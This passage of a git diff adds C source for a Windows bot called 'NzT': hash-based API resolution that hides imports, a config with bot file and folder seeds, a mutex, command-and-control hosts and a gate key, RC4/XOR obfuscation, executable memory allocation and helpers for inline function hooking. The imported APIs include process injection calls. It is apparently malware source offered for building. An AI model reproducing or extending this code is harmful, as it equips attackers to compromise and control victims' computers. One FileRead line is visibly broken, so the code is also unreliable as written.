{HASH_KERNEL32_RTLENTERCRITICALSECTION, &NzT.Modules.Ntdll, (LPVOID*)&NzT.Api.pRtlEnterCriticalSection}, + {HASH_KERNEL32_WIDECHARTOMULTIBYTE, &NzT.Modules.Kernel32, (LPVOID*)&NzT.Api.pWideCharToMultiByte}, + {HASH_KERNEL32_RTLLEAVECRITICALSECTION, &NzT.Modules.Ntdll, (LPVOID*)&NzT.Api.pRtlLeaveCriticalSection}, + {HASH_KERNEL32_TERMINATETHREAD, &NzT.Modules.Kernel32, (LPVOID*)&NzT.Api.pTerminateThread}, + {HASH_KERNEL32_GETTICKCOUNT, &NzT.Modules.Kernel32, (LPVOID*)&NzT.Api.pGetTickCount}, + {HASH_KERNEL32_OUTPUTDEBUGSTRINGA, &NzT.Modules.Kernel32, (LPVOID*)&NzT.Api.pOutputDebugStringA}, + {HASH_KERNEL32_OUTPUTDEBUGSTRINGW, &NzT.Modules.Kernel32, (LPVOID*)&NzT.Api.pOutputDebugStringW}, + {HASH_KERNEL32_GETLASTERROR, &NzT.Modules.Kernel32, (LPVOID*)&NzT.Api.pGetLastError}, + {HASH_KERNEL32_SETEVENT, &NzT.Modules.Kernel32, (LPVOID*)&NzT.Api.pSetEvent}, + {HASH_KERNEL32_CREATEEVENTA, &NzT.Modules.Kernel32, (LPVOID*)&NzT.Api.pCreateEventA}, + {HASH_KERNEL32_CREATEEVENTW, &NzT.Modules.Kernel32, (LPVOID*)&NzT.Api.pCreateEventW}, + {HASH_KERNEL32_OPENEVENTA, &NzT.Modules.Kernel32, (LPVOID*)&NzT.Api.pOpenEventA}, + {HASH_KERNEL32_OPENEVENTW, &NzT.Modules.Kernel32, (LPVOID*)&NzT.Api.pOpenEventW} + }; + + for (DWORD i = 0; i < sizeof(ApiList) / sizeof(API_T); i++) + if ((*ApiList[i].Function = GetProcAddressByHash(*ApiList[i].Module, ApiList[i].FunctionHash)) == NULL) + return FALSE; + + return TRUE; +} + +BOOL LoadFunctions() +{ + API_T ApiList[] = + { + {HASH_USER32_MESSAGEBOXA, &NzT.Modules.User32, (LPVOID*)&NzT.Api.pMessageBoxA}, + {HASH_USER32_WSPRINTFW, &NzT.Modules.User32, (LPVOID*)&NzT.Api.pwsprintfW}, + { HASH_USER32_WSPRINTFA, &NzT.Modules.User32, (LPVOID*)&NzT.Api.pwsprintfA}, + {HASH_WININET_INTERNETOPENW, &NzT.Modules.Wininet, (LPVOID*)&NzT.Api.pInternetOpenW}, + {HASH_WININET_INTERNETCONNECTA, &NzT.Modules.Wininet, (LPVOID*)&NzT.Api.pInternetConnectA}, + //{HASH_WININET_INTERNETCONNECTW, &NzT.Modules.Wininet, (LPVOID*)&NzT.Api.pInternetConnectW}, + {HASH_WININET_HTTPOPENREQUESTA, &NzT.Modules.Wininet, (LPVOID*)&NzT.Api.pHttpOpenRequestA}, + //{HASH_WININET_HTTPOPENREQUESTW, &NzT.Modules.Wininet, (LPVOID*)&NzT.Api.pHttpOpenRequestW}, + {HASH_WININET_HTTPSENDREQUESTA, &NzT.Modules.Wininet, (LPVOID*)&NzT.Api.pHttpSendRequestA}, + //{HASH_WININET_HTTPSENDREQUESTW, &NzT.Modules.Wininet, (LPVOID*)&NzT.Api.pHttpSendRequestW}, + {HASH_WININET_INTERNETREADFILE, &NzT.Modules.Wininet, (LPVOID*)&NzT.Api.pInternetReadFile}, + {HASH_WININET_INTERNETCLOSEHANDLE, &NzT.Modules.Wininet, (LPVOID*)&NzT.Api.pInternetCloseHandle}, + {HASH_SHELL32_SHGETFOLDERPATHW, &NzT.Modules.Shell32, (LPVOID*)&NzT.Api.pSHGetFolderPathW}, + {HASH_ADVAPI32_GETUSERNAMEA, &NzT.Modules.Advapi32, (LPVOID*)&NzT.Api.pGetUserNameA}, + {HASH_USER32_GETCURSORPOS, &NzT.Modules.User32, (LPVOID*)&NzT.Api.pGetCursorPos} + }; + + for (DWORD i = 0; i < sizeof(ApiList) / sizeof(API_T); i++) + if ((*ApiList[i].Function = GetProcAddressByHash(*ApiList[i].Module, ApiList[i].FunctionHash)) == NULL) + return FALSE; + + return TRUE; +} + +BOOL ApiInitialize() +{ + if (GetModules()) + if (LoadNtdllModule()) + if (LoadNtdll()) + if (LoadKernel32()) + if (LoadModules()) + return LoadFunctions(); + return FALSE; +} \ No newline at end of file diff --git a/src/Shared/api.h b/src/Shared/api.h new file mode 100644 index 0000000..4b01034 --- /dev/null +++ b/src/Shared/api.h @@ -0,0 +1,200 @@ +#ifndef _API_H_ +#define _API_H_ + +/* NTDLL */ +#include "ntdll_functions.h" +#include "ntdll_hash.h" + +/* Kernel32 */ +#include "kernel32_functions.h" +#include "kernel32_hash.h" + +/* User32 */ +#include "user32_hash.h" +#include "user32_functions.h" + +/* WinInet */ +#include "wininet_hash.h" +#include "wininet_functions.h" + +/* Shell32 */ +#include "shell32_hash.h" +#include "shell32_functions.h" + +/* Advapi32 */ +#include "advapi32_hash.h" +#include "advapi32_functions.h" + + +/* Structures */ + +typedef struct +{ + /* NTDLL */ + ptRtlRandomEx pRtlRandomEx; + ptRtlGetVersion pRtlGetVersion; + ptNtCreateThread pNtCreateThread; + ptNtQueryInformationProcess pNtQueryInformationProcess; + ptNtCreateUserProcess pNtCreateUserProcess; + ptNtMapViewOfSection pNtMapViewOfSection; + ptNtCreateSection pNtCreateSection; + ptLdrLoadDll pLdrLoadDll; + ptLdrGetDllHandle pLdrGetDllHandle; + ptNtWriteVirtualMemory pNtWriteVirtualMemory; + ptNtAllocateVirtualMemory pNtAllocateVirtualMemory; + ptNtProtectVirtualMemory pNtProtectVirtualMemory; + ptNtDeviceIoControlFile pNtDeviceIoControlFile; + ptNtSetContextThread pNtSetContextThread; + ptNtOpenProcess pNtOpenProcess; + ptNtClose pNtClose; + ptNtCreateFile pNtCreateFile; + ptNtOpenFile pNtOpenFile; + ptNtDeleteFile pNtDeleteFile; + ptNtReadVirtualMemory pNtReadVirtualMemory; + ptNtQueryVirtualMemory pNtQueryVirtualMemory; + ptNtOpenThread pNtOpenThread; + ptNtQueryInformationThread pNtQueryInformationThread; + ptNtResumeThread pNtResumeThread; + ptNtFreeVirtualMemory pNtFreeVirtualMemory; + ptNtFlushInstructionCache pNtFlushInstructionCache; + ptNtSetInformationThread pNtSetInformationThread; + ptNtQuerySystemInformation pNtQuerySystemInformation; + ptLdrQueryProcessModuleInformation pLdrQueryProcessModuleInformation; + ptRtlInitUnicodeString pRtlInitUnicodeString; + ptNtWriteFile pNtWriteFile; + ptNtReadFile pNtReadFile; + ptNtDelayExecution pNtDelayExecution; + ptNtOpenKey pNtOpenKey; + ptNtSetValueKey pNtSetValueKey; + ptNtQueryValueKey pNtQueryValueKey; + ptRtlFormatCurrentUserKeyPath pRtlFormatCurrentUserKeyPath; + ptNtQueryInformationFile pNtQueryInformationFile; + + /* Kernel32 */ + ptVirtualAlloc pVirtualAlloc; + ptVirtualFree pVirtualFree; + ptOpenProcess pOpenProcess; + ptVirtualAllocEx pVirtualAllocEx; + ptVirtualFreeEx pVirtualFreeEx; + ptWriteProcessMemory pWriteProcessMemory; + ptCreateRemoteThread pCreateRemoteThread; + ptCloseHandle pCloseHandle; + ptCreateToolhelp32Snapshot pCreateToolhelp32Snapshot; + ptCreateProcessW pCreateProcessW; + ptVirtualProtect pVirtualProtect; + ptProcess32FirstW pProcess32FirstW; + ptProcess32NextW pProcess32NextW; + ptExitProcess pExitProcess; + ptGetModuleFileNameW pGetModuleFileNameW; + ptDeleteFileW pDeleteFileW; + ptSleep pSleep; + ptLoadLibraryW pLoadLibraryW; + ptIsWow64Process pIsWow64Process; + ptGetCurrentProcessId pGetCurrentProcessId; + ptGetWindowsDirectoryW pGetWindowsDirectoryW; + ptQueueUserAPC pQueueUserAPC; + ptResumeThread pResumeThread; + ptGetSystemDirectoryW pGetSystemDirectoryW; + ptFindFirstFileW pFindFirstFileW; + ptFindNextFileW pFindNextFileW; + ptCreateThread pCreateThread; + ptCreateFileW pCreateFileW; + ptWriteFile pWriteFile; + ptReadFile pReadFile; + ptGetFileSize pGetFileSize; + ptGetVersionExW pGetVersionExW; + ptFindFirstVolumeW pFindFirstVolumeW; + ptGetVolumeInformationW pGetVolumeInformationW; + ptFindVolumeClose pFindVolumeClose; + ptMultiByteToWideChar pMultiByteToWideChar; + ptGetModuleHandleW pGetModuleHandleW; + ptFlushInstructionCache pFlushInstructionCache; + ptGetProcessHeap pGetProcessHeap; + ptHeapAlloc pHeapAlloc; + ptHeapFree pHeapFree; + ptGetCurrentProcess pGetCurrentProcess; + ptThread32First pThread32First; + ptThread32Next pThread32Next; + ptOpenMutexW pOpenMutexW; + ptReleaseMutex pReleaseMutex; + ptCreateMutexW pCreateMutexW; + ptVirtualQuery pVirtualQuery; + ptCreateFileMappingW pCreateFileMappingW; + ptMapViewOfFile pMapViewOfFile; + ptUnmapViewOfFile pUnmapViewOfFile; + ptDuplicateHandle pDuplicateHandle; + ptGetCurrentThread pGetCurrentThread; + ptFlushFileBuffers pFlushFileBuffers; + ptDisconnectNamedPipe pDisconnectNamedPipe; + ptGetProcAddress pGetProcAddress; + ptRtlInitializeCriticalSection pRtlInitializeCriticalSection; + ptRtlEnterCriticalSection pRtlEnterCriticalSection; + ptRtlLeaveCriticalSection pRtlLeaveCriticalSection; + ptWideCharToMultiByte pWideCharToMultiByte; + ptTerminateThread pTerminateThread; + ptGetTickCount pGetTickCount; + ptOutputDebugStringA pOutputDebugStringA; + ptOutputDebugStringW pOutputDebugStringW; + ptGetLastError pGetLastError; + ptSetEvent pSetEvent; + ptCreateEventA pCreateEventA; + ptCreateEventW pCreateEventW; + ptOpenEventA pOpenEventA; + ptOpenEventW pOpenEventW; + + + /* User32 */ + ptMessageBoxA pMessageBoxA; + ptwsprintfW pwsprintfW; + ptwsprintfA pwsprintfA; + ptGetCursorPos pGetCursorPos; + + /* WinInet */ + ptInternetOpenW pInternetOpenW; + ptInternetConnectA pInternetConnectA; + ptHttpOpenRequestA pHttpOpenRequestA; + ptHttpSendRequestA pHttpSendRequestA; + ptHttpQueryInfoA pHttpQueryInfoA; + ptInternetCloseHandle pInternetCloseHandle; + ptInternetReadFile pInternetReadFile; + + /* Shell32 */ + ptSHGetFolderPathW pSHGetFolderPathW; + + /* Advapi32 */ + ptGetUserNameA pGetUserNameA; +} API_FUNCTIONS; + +typedef struct +{ + HMODULE Kernel32, Ntdll, User32, Wininet, Shell32, Advapi32, Urlmon, Ws2_32, Shlwapi; +} API_MODULES; + +typedef struct +{ + DWORD ModuleHash; + HMODULE* Module; +} API_MODULE; + +typedef struct +{ + DWORD FunctionHash; + HMODULE* Module; + LPVOID* Function; +} API_T; + +typedef struct +{ + DWORD Table[256]; + BOOL Initialized; +} CRC; + +/* Functions */ +HMODULE GetModuleHandleByHash(DWORD Hash); +LPVOID GetProcAddressByHash( + HMODULE Module, + DWORD Hash +); +BOOL ApiInitialize(); + +#endif \ No newline at end of file diff --git a/src/Shared/config.c b/src/Shared/config.c new file mode 100644 index 0000000..0d9c21c --- /dev/null +++ b/src/Shared/config.c @@ -0,0 +1,6 @@ +#include + +#include "config.h" + +LPTSTR g_Hosts[] = { "127.0.0.1", "10.0.0.65", NULL}; +UCHAR g_NumberHosts = (UCHAR)(sizeof(g_Hosts) / sizeof(LPTSTR)); \ No newline at end of file diff --git a/src/Shared/config.h b/src/Shared/config.h new file mode 100644 index 0000000..a6cf34d --- /dev/null +++ b/src/Shared/config.h @@ -0,0 +1,22 @@ +#ifndef _CONFIG_H_ +#define _CONFIG_H_ + +#define NZT_SEED 0x1231231 //change every unique build +#define NZT_VERSION 0x1000 +#define NZT_MUTEX "m_NzT_m" + +#define BOT_FILE_NAME_SEED 0x1231231 +#define BOT_FOLDER_NAME_SEED 0x41231 + +#define REPORT_GATE_KEY "LET_ME_IN!" +#define REPORT_TIME 1 //minutes + +#define REPORT_TYPE_KNOCK 0x24023dd8 +#define REPORT_TYPE_CONFIG 0xd48a2f7c + +extern UCHAR g_NumberHosts; +extern LPTSTR* g_pHosts; +extern LPTSTR g_pHostsString; +extern LPTSTR g_Hosts[]; + +#endif \ No newline at end of file diff --git a/src/Shared/crt.c b/src/Shared/crt.c new file mode 100644 index 0000000..3d3a693 --- /dev/null +++ b/src/Shared/crt.c @@ -0,0 +1,501 @@ +#include + +#include "crt.h" +#include "nzt.h" +#include "ntdll.h" +#include "utils.h" + +void MemoryCopy(void* Destination, const void* Source, DWORD Size) +{ + DWORD i; + for (i = 0; i < Size; i++) + { + ((LPBYTE)Destination)[i] = ((LPBYTE)Source)[i]; + } +} + +//MemoryCopy pad by 8 bytes for relative JMP (0xE9) +VOID SafeMemoryCopy_p( + LPVOID Destination, + LPVOID Source, + DWORD Size +) +{ + BYTE Buffer[8]; + + if (Size > 8) + return; + + //8 bytes padding + MemoryCopy(Buffer, Destination, 8); + MemoryCopy(Buffer, Source, Size); + + if (Is64Bit()) + { + _InterlockedCompareExchange64((LONGLONG *)Destination, *(LONGLONG*)Buffer, *(LONGLONG *)Destination); + return; + } + + __asm + { + lea esi, Buffer; + mov edi, Destination; + + mov eax, [edi]; + mov edx, [edi + 4]; + mov ebx, [esi]; + mov ecx, [esi + 4]; + + lock cmpxchg8b[edi]; + } +} + +VOID MemoryZero( + PVOID Destination, + SIZE_T Size +) +{ + PCHAR Data = NULL; + + if ((Data = (char*)Destination) == NULL) + return; + + for (DWORD i = 0; i < Size; i++) + Data[i] = 0x00; +} + +DWORD MemorySize(LPVOID Address) +{ + MEMORY_BASIC_INFORMATION Memory; + + if (!Address) + return 0; + + NzT.Api.pVirtualQuery(Address, &Memory, sizeof(MEMORY_BASIC_INFORMATION)); + + return Memory.RegionSize; + +} + +LPVOID Malloc(DWORD Size) +{ + LPVOID Ptr = 0; + + if (API(NtAllocateVirtualMemory(CURRENT_PROCESS, &Ptr, 0, &Size, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE)) >= 0) + MemoryZero(Ptr, Size); + + return Ptr; +} + +VOID Free(PVOID Data) +{ + DWORD f = 0; + + if (Data) + API(NtFreeVirtualMemory(CURRENT_PROCESS, &Data, &f, MEM_RELEASE)); +} + +LPVOID Realloc( + PVOID Old, + SIZE_T Size +) +{ + LPVOID NewAddress = NULL; + DWORD OldLength = 0; + + if (Old) + OldLength = MemorySize(Old); + + NewAddress = NULL; + if (Size > 0) + { + NewAddress = Malloc(Size); + if (Old && NewAddress && OldLength) + { + if (Size < OldLength) + OldLength = Size; + MemoryCopy(NewAddress, Old, OldLength); + } + } + + if (Old != NULL) + Free(Old); + + return NewAddress; +} + +BOOL ReallocEx( + PVOID Old, + DWORD Size +) +{ + if (Size == 0) + { + Free(*(LPBYTE *)Old); + *(LPBYTE *)Old = NULL; + } + else + { + register PVOID p = Realloc(*(LPBYTE *)Old, Size); + if (p == NULL) return FALSE; + *(LPBYTE *)Old = (LPBYTE)p; + } + + return TRUE; +} + +INT IntToString(CONST PCHAR String) +{ + INT Number = 0; + INT i = 0; + + // run till the end of the string is reached, or the + // current character is non-numeric + while (String[i] && (String[i] >= '0' && String[i] <= '9')) + { + Number = Number * 10 + (String[i] - '0'); + i++; + } + + return Number; +} + + +DWORD StringLengthA(CONST LPSTR String) +{ + DWORD Size = 0; + + if (String == NULL) + return 0; + + do + { + if (String[Size] == 0) + break; + + Size++; + } while (TRUE); + + return Size; +} + +DWORD StringLengthW(CONST LPWSTR String) +{ + DWORD Size = 0; + + if (String == NULL) + return 0; + + do + { + if (String[Size] == 0) + break; + + Size++; + } while (TRUE); + + return Size; +} + +LPSTR StringCopyA( + CONST LPSTR Input, + DWORD Length +) +{ + LPSTR Data; + + if ((Data = (LPSTR)Malloc(Length + 1)) == NULL) + return NULL; + + MemoryCopy(Data, Input, Length); + + return Data; +} + +LPWSTR StringCopyW( + CONST LPWSTR Input, + DWORD Length +) +{ + LPWSTR Data; + DWORD NewStringLength; + + NewStringLength = Length * sizeof(wchar_t); + + if ((Data = (LPWSTR)Malloc(NewStringLength + sizeof(wchar_t))) == NULL) + return NULL; + + MemoryCopy(Data, Input, NewStringLength); + + return Data; +} + +BOOL StringConcatExA( + LPSTR* ppszData, + DWORD dwCurrentLength, + const LPSTR pszSource, + DWORD dwLength +) +{ + if (ReallocEx(ppszData, dwCurrentLength + dwLength + 1)) + { + MemoryCopy((*ppszData) + dwCurrentLength, pszSource, dwLength); + return TRUE; + } + + return FALSE; +} + +BOOL StringConcatA( + LPSTR* ppszData, + const LPSTR pszSource +) +{ + return StringConcatExA(ppszData, StringLengthA(*ppszData), pszSource, StringLengthA(pszSource)); +} + +BOOL StringConcatExW( + LPWSTR* ppwzData, + DWORD dwCurrentLength, + const LPWSTR pwzSource, + DWORD dwLength +) +{ + if (ReallocEx(ppwzData, (dwCurrentLength + dwLength + 1) * sizeof(wchar_t))) + { + MemoryCopy((*ppwzData) + dwCurrentLength, pwzSource, dwLength * sizeof(wchar_t)); + return TRUE; + } + + return FALSE; +} + +BOOL StringConcatW( + LPWSTR* ppwzData, + const LPWSTR pwzSource) +{ + return StringConcatExW(ppwzData, StringLengthW(*ppwzData), pwzSource, StringLengthW(pwzSource)); +} + +INT StringCompareA( + LPCSTR String1, + LPCSTR String2 +) +{ + for (; *String1 == *String2; String1++, String2++) + { + if (*String1 == '\0') + return 0; + } + + return ((*(LPCSTR)String1 < *(LPCSTR)String2) ? -1 : +1); +} + +BOOL StringCompareW( + CONST LPWSTR Input, + CONST LPWSTR Data +) +{ + DWORD InputLength, DataLength, i; + + InputLength = StringLengthW(Input); + DataLength = StringLengthW(Data); + + if (DataLength != InputLength) + return FALSE; + + for (i = 0; i < DataLength; i++) + { + if (Input[i] != Data[i]) + return FALSE; + } + + return TRUE; +} + +PCHAR StringTokenizeA( + PCHAR str, + CONST PCHAR Delimiter +) +{ + static int pos; + static char *s; + int i = 0, start = pos; + + // Copying the string for further calls of strtok + if (str != NULL) + s = str; + + i = 0; + int j = 0; + //While not end of string + while (s[pos] != '\0') + { + j = 0; + //Comparing of one of the delimiter matches the character in the string + while (Delimiter[j] != '\0') + { + //Pos point to the next location in the string that we have to read + if (s[pos] == Delimiter[j]) + { + //Replace the delimter by \0 to break the string + s[pos] = '\0'; + pos = pos + 1; + //Checking for the case where there is no relevant string before the delimeter. + //start specifies the location from where we have to start reading the next character + if (s[start] != '\0') + return (&s[start]); + else + { + // Move to the next string after the delimiter + start = pos; + // Decrementing as it will be incremented at the end of the while loop + pos--; + break; + } + } + j++; + } + pos++; + }//End of Outer while + s[pos] = '\0'; + if (s[start] == '\0') + return NULL; + else + return &s[start]; +} + +PWCHAR StringTokenizeW( + PWCHAR String, + CONST PWCHAR Delim +) +{ + PWCHAR Last = NULL; + PWCHAR SpanP = NULL, Token = NULL; + INT C = 0, SC = 0; + + if (String == NULL) + return NULL; + +CONTINUE: + + C = *String++; + + for (SpanP = (PWCHAR)Delim; (SC = *SpanP++) != ERROR_SUCCESS;) + { + if (C == SC) + goto CONTINUE; + } + + if (C == ERROR_SUCCESS) { Last = NULL; return NULL; } + + Token = String - 1; + + for (;;) + { + C = *String++; + SpanP = (PWCHAR)Delim; + + do { + if ((SC = *SpanP++) == C) + { + if (C == ERROR_SUCCESS) + String = NULL; + else + String[-1] = '\0'; + + Last = String; + return Token; + } + } while (SC != ERROR_SUCCESS); + } + + return NULL; +} + +PWCHAR StringToLowerW( + CONST PWCHAR Input, + DWORD Length +) +{ + int c = 0; + static WCHAR Lower[255]; + + if (Input == NULL) + return NULL; + + MemoryZero(&Lower, sizeof(Lower)); + + for (DWORD i = 0; i < Length; i++) + { + c = Input[i]; + + if (c >= 65 && c <= 90) + c += 32; + + Lower[i] = c; + } + + return Lower; +} + +BOOL StringEndsWithSlashW(CONST PWCHAR String) +{ + DWORD Length; + WCHAR Data; + + if ((Length = StringLengthW(String)) == 0) + return FALSE; + + Data = String[Length]; + + if (Data == L'\\') return TRUE; + + return FALSE; +} + +char *StringChr(s, c) +register const char *s; +int c; +{ + char *rtnval = 0; + + do { + if (*s == c) + rtnval = (char*)s; + } while (*s++); + return (rtnval); +} + +BOOL StringToUnicode( + PUNICODE_STRING String, + CONST LPWSTR Buffer +) +{ + DWORD Length; + + if (String == 0) + return FALSE; + + Length = StringLengthW(Buffer); + + if ((String->Buffer = StringCopyW(Buffer, Length)) == 0) + return FALSE; + + String->Length = Length * 2; + String->MaximumLength = Length * 2; + + return TRUE; +} + +void FreeUnicodeString(PUNICODE_STRING String) +{ + if (String == 0) + return; + + if (String->Buffer != 0) + { + Free(String->Buffer); + MemoryZero(String, sizeof(UNICODE_STRING)); + } +} \ No newline at end of file diff --git a/src/Shared/crt.h b/src/Shared/crt.h new file mode 100644 index 0000000..69fbb28 --- /dev/null +++ b/src/Shared/crt.h @@ -0,0 +1,45 @@ +#ifndef _CRT_H_ +#define _CRT_H_ + +#include "ntdll.h" + +/* memory */ +void MemoryCopy(void* Destination, const void* Source, DWORD Size); +VOID MemoryZero(PVOID Destination, SIZE_T Size); +DWORD MemorySize(LPVOID Address); + +LPVOID Malloc(DWORD Size); +VOID Free(PVOID Data); + +BOOL ReallocEx(PVOID Old, DWORD Size); +LPVOID Realloc(PVOID Old, SIZE_T Size); + +/* strings */ +INT IntToString(CONST PCHAR String); + +DWORD StringLengthA(CONST LPSTR String); +DWORD StringLengthW(CONST LPWSTR String); + +LPSTR StringCopyA(CONST LPSTR Input, DWORD Length); +LPWSTR StringCopyW(CONST LPWSTR Input, DWORD Length); + +BOOL StringConcatExA(LPSTR* ppszData, DWORD dwCurrentLength, const LPSTR pszSource, DWORD dwLength); +BOOL StringConcatA(LPSTR* ppszData, const LPSTR pszSource); +BOOL StringConcatExW(LPWSTR* ppwzData, DWORD dwCurrentLength, const LPWSTR pwzSource, DWORD dwLength); +BOOL StringConcatW(LPWSTR* ppwzData, const LPWSTR pwzSource); + +INT StringCompareA(LPCSTR String1, LPCSTR String2); +BOOL StringCompareW(CONST LPWSTR Input, CONST LPWSTR Data); + +PCHAR StringTokenizeA(PCHAR String, CONST PCHAR Delim); +PWCHAR StringTokenizeW(PWCHAR String, CONST PWCHAR Delim); + +PWCHAR StringToLowerW(CONST PWCHAR Input, DWORD Length); +BOOL StringEndsWithSlashW(CONST PWCHAR String); + +char* StringChr(s, c); + +BOOL StringToUnicode(PUNICODE_STRING String, CONST LPWSTR Buffer); +void FreeUnicodeString(PUNICODE_STRING String); + +#endif \ No newline at end of file diff --git a/src/Shared/crypto.c b/src/Shared/crypto.c new file mode 100644 index 0000000..fa22f42 --- /dev/null +++ b/src/Shared/crypto.c @@ -0,0 +1,121 @@ +#include "nzt.h" +#include "crypto.h" + +#define RtlOffsetToPointer(B,O) ((PCHAR)(((PCHAR)(B)) + ((ULONG_PTR)(O)))) + +DWORD Crc32Hash(CONST PVOID Data, DWORD Size) +{ + DWORD i, j, crc, cc; + + if (NzT.Crc.Initialized == FALSE) + { + for (i = 0; i < 256; i++) + { + crc = i; + for (j = 8; j > 0; j--) + { + if (crc & 0x1)crc = (crc >> 1) ^ 0xEDB88320L; + else crc >>= 1; + } + NzT.Crc.Table[i] = crc; + } + + NzT.Crc.Initialized = TRUE; + } + cc = 0xFFFFFFFF; + for (i = 0; i < Size; i++)cc = (cc >> 8) ^ NzT.Crc.Table[(((LPBYTE)Data)[i] ^ cc) & 0xFF]; + return ~cc; +} + +VOID CryptRC4(PCHAR pKey, DWORD Key, PVOID Destination, PVOID Source, DWORD Length) +{ + DWORD i = 0, j = 0, k = 0; + UCHAR ucKey[256] = { 0 }; + UCHAR ucTemp = 0; + + for (i = 0; i < sizeof(ucKey); i++) + ucKey[i] = (CHAR)i; + + for (i = j = 0; i < sizeof(ucKey); i++) + { + j = (j + pKey[i % Key] + ucKey[i]) % 256; + + ucTemp = ucKey[i]; + ucKey[i] = ucKey[j]; + ucKey[j] = ucTemp; + } + + for (i = j = 0, k = 0; k < Length; k++) + { + i = (i + 1) % 256; + j = (j + ucKey[i]) % 256; + + ucTemp = ucKey[i]; + ucKey[i] = ucKey[j]; + ucKey[j] = ucTemp; + + *RtlOffsetToPointer(Destination, k) = *RtlOffsetToPointer(Source, k) ^ ucKey[(ucKey[i] + ucKey[j]) % 256]; + } +} + +// +// Encrypts the specified memory buffer by XORing it's data with the specified key value in CBC manner. +// +VOID __stdcall CryptXor( + PCHAR Buffer, // data buffer + ULONG Size, // size of the buffer in bytes + ULONG Key, // key value + BOOL SkipZero // TRUE to skip zero dwords +) +{ + PULONG pDwords = (PULONG)Buffer; + ULONG uDword, uVector = 0, Count = 0; + + if (Size /= sizeof(ULONG)) + { + do + { + uDword = *pDwords; + + if (SkipZero && uDword == 0 && Size > 1 && pDwords[1] == 0) + break; + + uDword = _rotl(uDword, Count += 1); + uDword ^= uVector; + uDword ^= Key; + uVector = uDword; + + *pDwords = uDword; + pDwords += 1; + } while (Size -= 1); + } // if (Size /= sizeof(ULONG)) +} + +VOID __stdcall XorDecryptBuffer( + PCHAR Buffer, // buffer containing encrypted data + ULONG Size, // size of the buffer in bytes + ULONG Key, // key value + BOOL SkipZero // TRUE to skip zero dwords +) +{ + PULONG pDwords = (PULONG)Buffer; + ULONG uDword, uLast, uVector = 0, Count = 0; + + if (Size /= sizeof(ULONG)) + { + do + { + uLast = uDword = *pDwords; + if (SkipZero && uDword == 0) + break; + + uDword ^= Key; + uDword ^= uVector; + uDword = _rotr(uDword, Count += 1); + uVector = uLast; + + *pDwords = uDword; + pDwords += 1; + } while (Size -= 1); + } // if (Size /= sizeof(ULONG)) +} diff --git a/src/Shared/crypto.h b/src/Shared/crypto.h new file mode 100644 index 0000000..d857552 --- /dev/null +++ b/src/Shared/crypto.h @@ -0,0 +1,20 @@ +#ifndef _CRYPTO_H_ +#define _CRYPTO_H_ + + +DWORD Crc32Hash(CONST PVOID Data, DWORD Size); +VOID CryptRC4(PCHAR pKey, DWORD Key, PVOID Destination, PVOID Source, DWORD Length); +VOID __stdcall CryptXor( + PCHAR Buffer, // data buffer + ULONG Size, // size of the buffer in bytes + ULONG Key, // key value + BOOL SkipZero // TRUE to skip zero dwords +); +VOID __stdcall XorDecryptBuffer( + PCHAR Buffer, // buffer containing encrypted data + ULONG Size, // size of the buffer in bytes + ULONG Key, // key value + BOOL SkipZero // TRUE to skip zero dwords +); + +#endif \ No newline at end of file diff --git a/src/Shared/debug.c b/src/Shared/debug.c new file mode 100644 index 0000000..e69de29 diff --git a/src/Shared/file.c b/src/Shared/file.c new file mode 100644 index 0000000..d104d6e --- /dev/null +++ b/src/Shared/file.c @@ -0,0 +1,222 @@ +#include + +#include "file.h" +#include "crt.h" +#include "ntdll.h" +#include "nzt.h" +#include "utils.h" + +BOOL FileGetInfo(HANDLE FileHandle, PFILE_STANDARD_INFORMATION Info) +{ + IO_STATUS_BLOCK IO; + + MemoryZero(&IO, sizeof(IO_STATUS_BLOCK)); + MemoryZero(Info, sizeof(FILE_STANDARD_INFORMATION)); + + if (API(NtQueryInformationFile)(FileHandle, &IO, Info, sizeof(FILE_STANDARD_INFORMATION), FileStandardInformation) >= 0) + return TRUE; + + return FALSE; +} + +BOOL FileGetSize(HANDLE FileHandle, PDWORD FileSize) +{ + FILE_STANDARD_INFORMATION Info; + + *FileSize = 0; + + if (!FileGetInfo(FileHandle, &Info)) + return FALSE; + + *FileSize = Info.AllocationSize.LowPart; + return TRUE; +} + +BOOL FileOpen(HANDLE* FileHandle, CONST LPWSTR Path, ACCESS_MASK AccessMask, ULONG CreateDisposition) +{ + NTSTATUS Status; + UNICODE_STRING US; + OBJECT_ATTRIBUTES OA; + IO_STATUS_BLOCK IO; + BOOL bStatus = FALSE; + + *FileHandle = INVALID_HANDLE_VALUE; + + MemoryZero(&IO, sizeof(IO_STATUS_BLOCK)); + MemoryZero(&OA, sizeof(OBJECT_ATTRIBUTES)); + + OA.Length = sizeof(OBJECT_ATTRIBUTES); + API(RtlInitUnicodeString)(&US, Path); + OA.ObjectName = &US; + OA.Attributes = OBJ_CASE_INSENSITIVE; + + Status = API(NtCreateFile(FileHandle, AccessMask | SYNCHRONIZE, &OA, &IO, NULL, FILE_ATTRIBUTE_NORMAL, FILE_SHARE_READ | FILE_SHARE_WRITE, CreateDisposition, FILE_NON_DIRECTORY_FILE | FILE_RANDOM_ACCESS | FILE_SYNCHRONOUS_IO_NONALERT, NULL, 0)); + + if (NT_SUCCESS(Status)) + bStatus = TRUE; + + return bStatus; +} + +BOOL FileWrite(HANDLE FileHandle, CONST LPVOID Buffer, DWORD Length) +{ + NTSTATUS Status; + IO_STATUS_BLOCK IO; + Status = API(NtWriteFile)(FileHandle, NULL, NULL, NULL, &IO, &Buffer, Length, NULL, NULL); + if (NT_SUCCESS(Status)) + return TRUE; + + return FALSE; +} + +BOOL FileRead(HANDLE FileHandle, LPVOID* Buffer, DWORD Length, PDWORD ReadLength) +{ + IO_STATUS_BLOCK IO; + LARGE_INTEGER LI; + + LI.LowPart = 0; + LI.HighPart = 0; + + if ((*Buffer = Malloc(Length)) == 0) + return FALSE; + + if ( (FileHandle, 0, 0, 0, &IO, *Buffer, Length, &LI, 0) >= 0) + { + *ReadLength = IO.Information; + return TRUE; + } + + return FALSE; +} + +BOOL FileWriteBuffer(CONST LPWSTR Path, CONST LPVOID Buffer, DWORD Length, BOOL Append) +{ + BOOL Status = FALSE; + HANDLE FileHandle; + + if (!FileOpen(&FileHandle, Path, GENERIC_WRITE, FILE_OPEN_IF)) + return Status; + + Status = FileWrite(FileHandle, Buffer, Length); + API(NtClose)(FileHandle); + + return Status; +} + + +BOOL FileReadBuffer(CONST LPWSTR Path, LPVOID* Buffer, PDWORD Length) +{ + BOOL Status = FALSE; + HANDLE FileHandle; + DWORD FileSize; + + if 